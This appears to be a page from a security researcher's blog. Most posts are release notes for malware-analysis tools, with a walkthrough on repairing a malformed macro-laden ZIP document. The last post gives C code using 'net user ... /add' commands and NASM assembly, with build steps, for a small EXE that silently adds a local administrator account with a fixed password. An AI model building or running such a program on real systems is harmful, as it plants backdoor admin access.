Didier Stevens

Sunday 19 April 2020

Update: hex-to-bin.py Version 0.0.5

Filed under: My Software,Update — Didier Stevens @ 0:00

This new version of hex-to-bin.py, a tool to convert hexadecimal data to binary data, has a new option to ignore al characters/bytes that are not hexadecimal digits: -H –hexonly.

This option can be used to parse obfuscated, hexadecimal dumps of PE files, for example:

And there are also options if you want to take only lowercase hexadecimal digits into account (–loweronly) or uppercase hexadecimal digits (–upperonly).

hex-to-bin_V0_0_5.zip (https)
MD5: 6247279785AB80F4B0A91E0316D8695C
SHA256: C55246D653F1804DFB2C2EBEC0471AF42A89E9F080DCC87DC673BC9FEAD1949D

Saturday 18 April 2020

Update: xmldump.py Version 0.0.6

Filed under: My Software,Update — Didier Stevens @ 0:00

This new version of xmldump.py, a tool to analyze XML files, has a new command to extract cells from an .xlsx/.xlsm spreadsheet: celltext.

And also an option to provide the encoding of input files, like utf8 (Python 3.7 and later): –encoding.

xmldump_V0_0_6.zip (https)
MD5: 74BE27A8F45F1814341DCB7AEF6AE8BC
SHA256: 1767C27D9907FDDF88015D938EFF47782C06547CEEF0493F67D85FF4A06656DA

Wednesday 15 April 2020

Analyzing Malformed ZIP Files

Filed under: Forensics,maldoc,My Software — Didier Stevens @ 0:00

With version 0.0.16 (we are now at version 0.0.18), I updated my zipdump.py tool to handle (deliberately) malformed ZIP files. My zipdump tool uses Python’s ZIP module to analyze ZIP files.

Now, zipdump has a an option (-f) to scan arbitrary binary files for ZIP records.

I will show here how this feature can be used, by analyzing a sample Xavier Mertens wrote a diary entry about. This sample is a Word document with macros, an OOXML (Office Open XML format) file (.docm). It is malformed, because 1) there’s an extra byte at the beginning and 2) there’s a byte missing at the end.

When you use my zipdump tool to look at the file, you get an error:

Using option -f l (list), we can find all PKZIP records inside arbitrary, binary files:

When using option -f with value l, a listing will be created of all PKZIP records found in the file, plus extra data. Some of these entries in this report will have an index, that can be used to select the entry.

In this example, 2 entries can be selected:

p: extra bytes at the beginning of the file (prefix)

1: an end-of-central-directory record (PK0506 end)

Using option -f p, we can select the prefix (extra data at the beginning of the file) for further analysis:

And from this hex/ascii dump, we learn that there is one extra byte at the beginning of the ZIP file, and that it is a newline characters (0x0A).

Using option -f 1, we can select the EOCD record to analyze the ZIP file:

As this generates an error, we need to take a closer look at the EOCD record by adding option -i (info):

With this info, we understand that the missing byte makes that the comment length field is one byte short, and this causes the error seen in previous image.

ZIP files can contain comments (for the ZIP container, and also for individual files): these are stored at the end of the PKZIP records, preceded by a 2-byte long, little-endian integer. This integer is the length of the comment. If there is no comment, this integer is zero (0x00).

Hence, the byte we are missing here is a NULL (0x00) byte. We can append a NULL byte to the sample, and then we should be able to analyze the ZIP file. In stead of modifying the sample, I use my tool cut-bytes.py to add a single NULL byte to the file (suffix option: -s #h#00) and then pipe this into zipdump:

File 5 (vbaProject.bin) contains the VBA macros, and can be piped into oledump.py:

I also created a video:

zipdump_v0_0_18.zip (https)
MD5: 34DC469E8CD4E5D3E9520517DEFED888
SHA256: 270B26217755D7ECBCB6D642FBB349856FAA1AE668DB37D8D106B37D062FADBB

Tuesday 14 April 2020

Update: zipdump.py Version 0.0.18

Filed under: My Software,Update — Didier Stevens @ 0:00

This new version op zipdump.py adds option -i (info), to be used to obtain more info on PKZIP records.


In next blog post, I’ll explain how to use zipdump to analyze malformed ZIP files.

zipdump_v0_0_18.zip (https)
MD5: 34DC469E8CD4E5D3E9520517DEFED888
SHA256: 270B26217755D7ECBCB6D642FBB349856FAA1AE668DB37D8D106B37D062FADBB

Monday 13 April 2020

Update: zipdump.py Version 0.0.17

Filed under: My Software,Update — Didier Stevens @ 0:00

This version includes a couple of bug fixes.

zipdump_v0_0_17.zip (https)
MD5: E61843BC5B42F4129A4664CD0A5FF93C
SHA256: 72C8AA31F143575E7F77027A7C186484E810F8E400285B6D3785C33C0408F4BF

Thursday 9 April 2020

Update XORSearch Version 1.11.3

Filed under: My Software,Update — Didier Stevens @ 0:00

A small change in this new version of XORSearch: option -n now also takes a negative value (output characters left of keyword) or an explicit positive value (output characters right of keyword).

XORSearch_V1_11_3.zip (https)
MD5: 39A5799EC4C77E894A56B215A7E20409
SHA256: 50D1CDF5FE93E29E1D7FCB3CF2256CEAC0034CBD887E4DAC1CB897E14B28BC16

Tuesday 31 March 2020

Update: msoffcrypto-crack.py Version 0.0.5

Filed under: Encryption,My Software,Update — Didier Stevens @ 0:00

This new version of msoffcrypto-crack.py, a tool to crack encrypted MS Office documents, comes with a new option to generated a password dictionary based on the filename of the document.

Option -p allows the user to provide a dictionary file. Use value #f to generate a dictionary based on the filename: This will generate a dictionary of all possible substrings of the filename.

I had to analyze an encrypted spreadsheet yesterday, and the password was in the name, like this:

msoffcrypto-crack_V0_0_5.zip (https)
MD5: 1514DA367DCFF7051AB117266CE65BD3
SHA256: FEEFDD89134083EA19936494C8FCBD05804B3B9C0D4C5FBAFE06578D466B50AE

Sunday 29 March 2020

Update: oledump.py Version 0.0.49

Filed under: My Software,Update — Didier Stevens @ 0:00

This new version of oledump comes with an update to plugin_biff by @JohnLaTwC to improve formula parsing.

oledump_V0_0_49.zip (https)
MD5: 1EF0B466A80C034F10770F8A235EBE7B
SHA256: BD8CAD9EDB99B6063A9A36B8B83EB3416484CEC244A01CA2F08BB032402FF147

Friday 27 March 2020

Carving PE Files With pecheck.py

Filed under: My Software,Update — Didier Stevens @ 0:00

I added a feature to my tool pecheck.py to help extract embedded PE files from any host file: -l –locate.

pecheck.py expects a PE file as input, but if you use option -l P, it will read any file an look for embedded PE files by searching for a DOS header (MZ) followed by a PE header, that can then be parsed by pefile without errors.

Like in this example, where I created a PNG file with a 32-bit and a 64-bit DLL appended:

One PE file can then be selected for further analysis:

Or for extraction:

Here is a video with more details:

Monday 16 March 2020

Windows Assembly Program To Create New User

Filed under: My Software — Didier Stevens @ 0:00

A friend asked me for a small program to add a new local user to a Windows system and make that user member of the Administrators group (CTF anyone? 😉 ).

I could find a program in my repository, but it was a very old program using system commands.

#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[])
    system("net user hack knock /add");
    system("net localgroup administrators hack /add");

    return 0;
The program worked as expected, however, this inspired me to make a very small program that would do this via the Windows API. Thus I developed the following 32-bit assembler program:
; Assembly code to add a new local user and make it member of Administrators group
; Written for NASM assembler (http://www.nasm.us) by Didier Stevens
; https://DidierStevens.com
; Use at your own risk
; Build:
;   nasm -f win32 add-admin.asm
;   Microsoft linker:
;     link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib
;       https://blog.didierstevens.com/2018/11/26/quickpost-compiling-with-build-tools-for-visual-studio-2017/
;       /fixed -> no relocation section
;       /debug:none /EMITPOGOPHASEINFO -> https://stackoverflow.com/questions/45538668/remove-image-debug-directory-from-rdata-section
;       /filealign:256 -> smaller, but no valid exe
;   MinGW linker:
;     ld -L /c/msys64/mingw32/i686-w64-mingw32/lib --strip-all add-admin.obj -l netapi32 -l kernel32
; History:
;   2020/03/13
;   2020/03/14 refactor
;   2020/03/15 refactor


%define USERNAME 'hacker'
%define PASSWORD 'P@ssw0rd'
%define ADMINISTRATORS 'administrators'

global _main
extern _NetUserAdd@16
extern _NetLocalGroupAddMembers@20
extern _ExitProcess@4

	struc USER_INFO_1
		.uName RESD 1
		.Password RESD 1
		.PasswordAge RESD 1
		.Privilege RESD 1
		.HomeDir RESD 1
		.Comment RESD 1
		.Flags RESD 1
		.ScriptPath RESD 1
		.lgrmi3_domainandname RESD 1


	section .text
	mov     ebp, esp
	sub     esp, 4
	; NetUserAdd(NULL, level=1, buffer, NULL)
	lea     eax, [ebp-4]
	push    eax
	push    UI1
	push    1
	push    0
	call    _NetUserAdd@16
	; NetLocalGroupAddMembers(NULL, administrators, level=3, buffer, 1)
	push    1
	push    LMI3
	push    3
	push    0
	call    _NetLocalGroupAddMembers@20
	; ExitProcess(0)
	push    0
	call    _ExitProcess@4

; uncomment next line to put data structure in .data section (increases size PE file because of extra .data section)
;	section .data

	istruc USER_INFO_1
		at USER_INFO_1.PasswordAge, dd 0
		at USER_INFO_1.Privilege, dd USER_PRIV_USER
		at USER_INFO_1.HomeDir, dd 0
		at USER_INFO_1.Comment, dd 0
		at USER_INFO_1.Flags, dd UF_SCRIPT
		at USER_INFO_1.ScriptPath, dd 0

	db      __utf16le__(USERNAME), 0, 0

	db      __utf16le__(PASSWORD), 0, 0

	db      __utf16le__(ADMINISTRATORS), 0, 0

		at LOCALGROUP_MEMBERS_INFO_3.lgrmi3_domainandname, dd USERNAME_UNICODE

To create the executable, you need to assemble and link this assembly code (this is not shellcode, just assembling is not enough).
Assembling is done with nasm (-f win32 to create a 32-bit object file):

nasm -f win32 add-admin.asm

Linking can be done with Microsoft’s linker (see Quickpost: Compiling with Build Tools for Visual Studio 2017) or MinGW‘s linker.


link /fixed /debug:none /EMITPOGOPHASEINFO /entry:main add-admin.obj kernel32.lib netapi32.lib

I use /fixed so prevent the creation of a relocation section, which would make the EXE larger.


ld -L /c/msys64/mingw32/i686-w64-mingw32/lib –strip-all add-admin.obj -l netapi32 -l kernel32


In both cases, the EXE is 1536 bytes long.


« Previous PageNext Page »

Blog at WordPress.com.